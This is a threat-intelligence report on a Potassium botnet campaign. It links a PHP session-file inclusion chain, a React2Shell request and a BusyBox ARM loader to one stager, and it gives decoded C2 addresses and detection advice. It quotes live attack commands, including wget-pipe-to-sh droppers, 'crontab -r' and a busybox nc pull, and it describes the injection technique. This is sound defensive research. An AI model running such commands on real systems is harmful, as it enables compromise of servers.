Scan: on 29 October, an address in 204.76.203.0/24, a shared hosting range (AS51396), tried a
PHP2Shell-labelled chain against a PHP site, then React2Shell two hours later. Stage: both attempts told the
target to fetch the same Potassium bot from the same server, which also serves an ARM build through a
BusyBox loader labelled tvt. Command: decode the bot’s DNS answers and one of the addresses it is configured
to call is 204.76.203.219, in the same /24 the scans came from.
1. The short version
- Scan. 204.76.203.237 sent plain
GET /requests in early October, then a PHP2Shell-labelled chain on 29 October and React2Shell two hours later. At least ten addresses of the same /24 reached the same targets in the week before. - Stage. Both exploits told the target to download from 134.209.89.212, which served the same x86-64
Potassium binary under two names. The same host also serves a BusyBox loader on TCP/404 that pulls an ARM build
from TCP/25565 and launches it with the word
tvt. No evidence presented here establishes a TVT exploitation. - Command. The bot hides its C2 behind decoy DNS answers, using the rule ELLIO published: a.b.c.d becomes a.d.b.c. Applied to one of the ARM build’s domains, the rule gives 204.76.203.219, in the scanning range.
- A CVE label is not an exploitation. The PHP chain writes code into a session file, then looks for a file-inclusion bug. That is an older technique, unrelated to the memory-corruption bugs PHP fixed on 21 October.
- Built from public parts. The React request is Assetnote’s public scanner template, with its harmless proof replaced by the dropper.
- The bot itself is well documented by ELLIO, Deepfield, Sophos, Arctic Wolf and others. This note adds the infrastructure around this build.
2. Timeline (UTC)
| When | What |
|---|---|
| Mar 2026 | Potassium first publicly reported (Synthient; Deepfield analysis in May) |
| 04–07 Oct | 204.76.203.237 (AS51396, NL) sends plain GET / requests only |
| 21 Oct | PHP fixes CVE-2026-109618 / 109619; first public reports tie PHP2Shell-era activity to this Potassium build |
| 29 Oct (evening) | 204.76.203.237: PHP2Shell-labelled chain pointing at http://134.209.89.212/p |
| 30 Oct (early hours) | 204.76.203.237: React2Shell spray pointing at http://134.209.89.212/r |
| 30 Oct | /r appears on VirusTotal, submitted by a third party |
3. Two attempts, one stager
| PHP door | React door | |
|---|---|---|
| Entry | PHP2Shell-labelled session-file chain | React2Shell (CVE-2025-55182) |
| Stage-1 | http://134.209.89.212/p | http://134.209.89.212/r |
| Stage-2 | peoplehatepigeons | x86_64 |
| Binary | identical x86-64 ELF, 179 632 B, SHA-256 0c5486…1486 | same file |
| Launch word | calculators | reactors |
The binary is the publicly documented Potassium x86-64 build. Potassium is known to take a launch argument
that it reports as a campaign tag (public analyses show php). This stager uses one value per door. The /r
script also tests the writable tmpfs mounts, clears its working directory and prints the processes that load no
shared library, which is how rival static bots look. It lists them; it does not kill them.
4. The third door: a tvt-labelled ARM delivery path
The same stager also distributes an ARM build outside HTTP:
- TCP/404 serves a short BusyBox script. It pulls an ARM ELF from TCP/25565 with
busybox nc, launches it with the wordtvt, and contains a command to pull port 404 again after about three days. - TCP/25565 serves the ARM ELF (224 608 B) as a raw byte stream.
Delivery of Potassium over raw TCP on port 25565 was already documented by Deepfield, and Arctic Wolf has described an ARM Potassium build. What this stager adds:
- The ARM build carries the x86 build’s port table. The same fourteen 16-bit values, contiguous, in the same order, followed by the same twelve trailing bytes whose purpose is unresolved. Its start-up logic is Potassium’s: a local instance lock on TCP/1234, fork, resolve, connect to a port from the table.
- It is configured with other C2 endpoints. Its C2 domains are
hik.gettingheadfromduckysmom.st, already listed in public Potassium IOCs, andjapan.chinasponsored.st, registered on 28 October on the same name servers as other Potassium domains. The ARM build Arctic Wolf described usedthunder.godofthunder.st: this is a different configuration. - Its DNS answers decode to its C2 addresses. The published A records of
japan.chinasponsored.stare170.218.238.64,172.121.182.104,164.145.92.92and64.175.44.176. ELLIO’s rule turns them into four configured C2 addresses: 170.64.218.238, 172.104.121.182, 164.92.145.92, 64.176.175.44. - One configured C2 address sits in the scanning range. The same rule applied to the A records of
hik.gettingheadfromduckysmom.stgives 45.198.224.123, 45.198.224.124 and 204.76.203.219, and the answers seen a few days earlier, decoded with the older rule, give the same three addresses (§7). 204.76.203.219 is already known as a web scanner. Its role as a configured Potassium C2 destination is not, as far as we can find. The other two share a /24 with 45.198.224.169, which Sophos published as an exploit-attempt source.
tvt is a launch word. It suggests a TVT/DVR theme but does not establish the target class.
5. A CVE label is not an exploitation
The PHP door has two steps:
Write. Two small multipart
POST /index.phpwith no User-Agent. They carry a client-chosenPHPSESSIDand put PHP code in thePHP_SESSION_UPLOAD_PROGRESSvalue, then in a file name. The injected PHP would execute the following commands if the session file were successfully included:echo whydoyouthinkimhere; wget http://134.209.89.212/p -O- | sh, between two markers (p2sS…/p2sE…).Include. A sweep tries to include that session file through a fixed grid of 162 combinations:
- entry points
/index.php,/index.php5,/ - parameters
page,p,pg,file,f,fn - encodings: plain and
....//(attempts to include, and so run, the session file), andphp://filter/convert.base64-encode/resource=(reads it back base64-encoded: a check that the write landed) - directories
/tmp/,/var/lib/php/sessions/,/var/lib/php/session/
More than a hundred of them were sent in a few minutes.
- entry points
This only succeeds where the site already includes files by parameter and stores sessions in one of the three guessed places. PHP describes CVE-2026-109618 as memory corruption on an allocation failure (GHSA-w8hw-w9fx-j79w) and CVE-2026-109619 as reuse of freed internal state (GHSA-6wmf-4rv5-p3rp). Neither needs a file-inclusion bug. A validated match on this request chain establishes an attempted session-file inclusion, not exploitation of either CVE.
The React door reuses Assetnote’s public react2shell-scanner template: same fixed multipart boundary, same
payload structure and result channel, same default User-Agent (… Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0). The scanner’s harmless arithmetic proof is replaced by crontab -r and the dropper,
followed by echo 11111. The value read back is the one the scanner expects, so its own success test still
fires.
6. Track the campaign, not the CVE
| Level | Signals | What you can conclude |
|---|---|---|
| Attempt | multipart with PHP_SESSION_UPLOAD_PROGRESS; <?php in a file name or progress value; query strings with sess_ and a session directory, php://filter or ....//; React RSC payload | exploitation was tried |
| Same exploit chain | the same client-chosen session id in the write step and in the include requests, same source, minutes apart | one exploit transaction |
| Campaign correlation | different chains naming the same stager URL, or leading to the same binary hash; repeated source behaviour | one campaign cluster |
| Execution | the web server user spawning sh / wget / busybox, a download from the stager, an ELF launched from a tmpfs mount, then a connection to one of the decoded C2 addresses on one of the 14 ports below | compromise, investigate first |
How to apply it:
- Join keys and windows. Write → include: same source and same session id, within minutes. Include or React request → download: stager URL in the request body, then a fetch of that URL from the target within seconds. Download → execution: process ancestry under the web server user. Execution → egress: same host, minutes.
- Normalise first. URL-decode query strings (the include sweep is percent-encoded) and parse multipart bodies: the write step only shows in field names and file names.
- What you need to log: access logs with the full query string; at least the first kilobytes of POST bodies; DNS responses with their A records, not just queries; egress or proxy logs per host; process ancestry on web servers.
- Egress alone is not a verdict. A connection to a shared-hosting range proves nothing. Even a connection to an exact decoded address needs process context. The absence of child processes or egress proves failure only if that telemetry is complete for the host. An HTTP 500 is not a security verdict.
Decoding the C2. For the builds in this note, an A record a.b.c.d for one of the C2 domains means a connection to a.d.b.c (ELLIO’s rule), on one of fourteen ports: 50217, 50341, 50488, 50613, 50792, 50904, 51127, 51289, 51456, 51603, 51871, 52134, 52398, 52645. Block the decoded addresses, not the ones the DNS returns. Decoded addresses are time-sensitive: check when the answer was seen and who holds the address now before blocking. Public analyses (ELLIO, Deepfield) also describe the listener on TCP/1234 (bound to the outbound interface, or to 127.0.0.1 if that fails) as an instance lock, not a backdoor.
7. Evidence anyone can check
The raw data behind §2–§5 is not published. What follows can be reproduced from public data and from the samples listed in §8.
- The two chains name the same stager. The decoded commands quoted in §5 (PHP door) and the React command
(
… wget http://134.209.89.212/r -O- | sh …) both point to 134.209.89.212. - Same port table in both builds. The fourteen ports are stored as one array of little-endian 16-bit values,
29c4 a5c4 38c5 b5c5 68c6 d8c6 b7c7 59c8 00c9 93c9 9fca a6cb aecc a5cd, at offset0x287e0in the x86-64 build and0x33c48in the ARM build. - Dated DNS answers (public passive DNS, VirusTotal resolutions):
| Domain | A record | Seen | Decoded |
|---|---|---|---|
japan.chinasponsored.st | 170.218.238.64, 172.121.182.104, 164.145.92.92, 64.175.44.176 | 28 Oct 2026 | 170.64.218.238, 172.104.121.182, 164.92.145.92, 64.176.175.44 (rule a.b.c.d → a.d.b.c) |
hik.gettingheadfromduckysmom.st | 45.224.123.198, 45.224.124.198, 204.203.219.76 | 28 Oct 2026 | 45.198.224.123, 45.198.224.124, 204.76.203.219 (rule a.b.c.d → a.d.b.c) |
hik.gettingheadfromduckysmom.st | 224.124.45.198, 224.123.45.198, 203.219.204.76 | 19–23 Oct 2026 | 45.198.224.124, 45.198.224.123, 204.76.203.219 (older rule: swap the two 16-bit halves) |
hik.gettingheadfromduckysmom.st | 45.198.224.123, 45.198.224.124 | 2 Oct 2026 | none: plain answer, before any decoy |
The same three configured C2 addresses come out of two different encodings, a few days apart. This is consistent with a transition between the two previously documented DNS transforms (Deepfield for older builds, ELLIO for this build).
These are configured C2 destinations. This note does not claim observed C2 sessions.
8. Indicators (29–30 October 2026)
| Type | Value | Role |
|---|---|---|
| IPv4 | 204.76.203.237 | source of both web attempts |
| IPv4 | 134.209.89.212 | stager: /p, /r, /peoplehatepigeons, /x86_64, TCP/404, TCP/25565 |
| Domain / IPv4 | thunder.godofthunder.st / 134.199.154.64 | C2 of the x86-64 build (documented by others) |
| SHA-256 | c447ced5d808b1bcc2dd8f99550d92b65fffb377072ec47c95d62b947baff413 | /p |
| SHA-256 | d3a794e070dee30adfef70f2c5f7c008b73957a9a0d217de0f8b8963aa08fada | /r |
| SHA-256 | 5f46260dbafb90528daca54163cfe08be051dc5168943fc3061e572b12a4f948 | TCP/404 loader |
| SHA-256 | 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486 | x86-64 Potassium |
| SHA-256 | 02e12de2f65fbeaed22e9afee883a524c865ebf8254ea2c108625399046979c8 | ARM Potassium build (TCP/25565) |
| Domain | hik.gettingheadfromduckysmom.st | C2 domain of the ARM build (already in public IOCs) |
| Domain | japan.chinasponsored.st | C2 domain of the ARM build (registered 28 Oct) |
| IPv4 | 170.64.218.238, 164.92.145.92, 172.104.121.182, 64.176.175.44 | decoded C2 addresses of japan.chinasponsored.st |
| IPv4 | 204.76.203.219, 45.198.224.123, 45.198.224.124 | decoded C2 addresses of hik.gettingheadfromduckysmom.st (same three under both rules, §7) |
| String | whydoyouthinkimhere, ----php2shellFix, AAABBBCCC | PHP door |
| Argv | calculators, reactors, tvt | launch words seen with this stager |
9. Known and new
Already public, and credited: Potassium since March 2026, its x86-64 build, C2 domain and address, the fourteen-port table of this build and the current decoy DNS rule (ELLIO); earlier eleven-port tables, the older DNS transform and the instance lock (Deepfield); the launch tag (ELLIO, Sophos); further analysis (cowrai); an ARM Potassium build from a shared builder (Arctic Wolf); Potassium delivery over raw TCP on port 25565 (Deepfield); staging servers for PHP2Shell delivery (SOCFortress); PHP2Shell probing from 204.76.203.0/24 (Defused); scanning from 204.76.203.219 (SANS ISC); the Assetnote scanner (Assetnote, GreyNoise).
Not found in public reporting as of 30 October: this stager and the way it links two web chains and a raw-TCP
ARM path; the launch-word values; this ARM build and its C2 configuration (japan.chinasponsored.st and its
four decoded addresses); the configured C2 role of 204.76.203.219 in the scanning /24; and the sequence of the
two web attempts. The /p dropper, the TCP/404 loader and the ARM build were absent from VirusTotal as of
30 October. This is an apparently new observation, not a claim of first discovery.
Limits. This note establishes configured C2 destinations, not C2 tasking or operator actions. No TVT exploitation is established. Shared hosting, a shared stager and a shared build line point to one campaign cluster, not to a single operator. The two exploit chains come from one source on 29–30 October; the earlier activity of that source and of its /24 (from 4 October) and the DNS history above complete the picture.
Questions, corrections or matching sightings: research@ohiiho.com
OHIIHO Threat Research.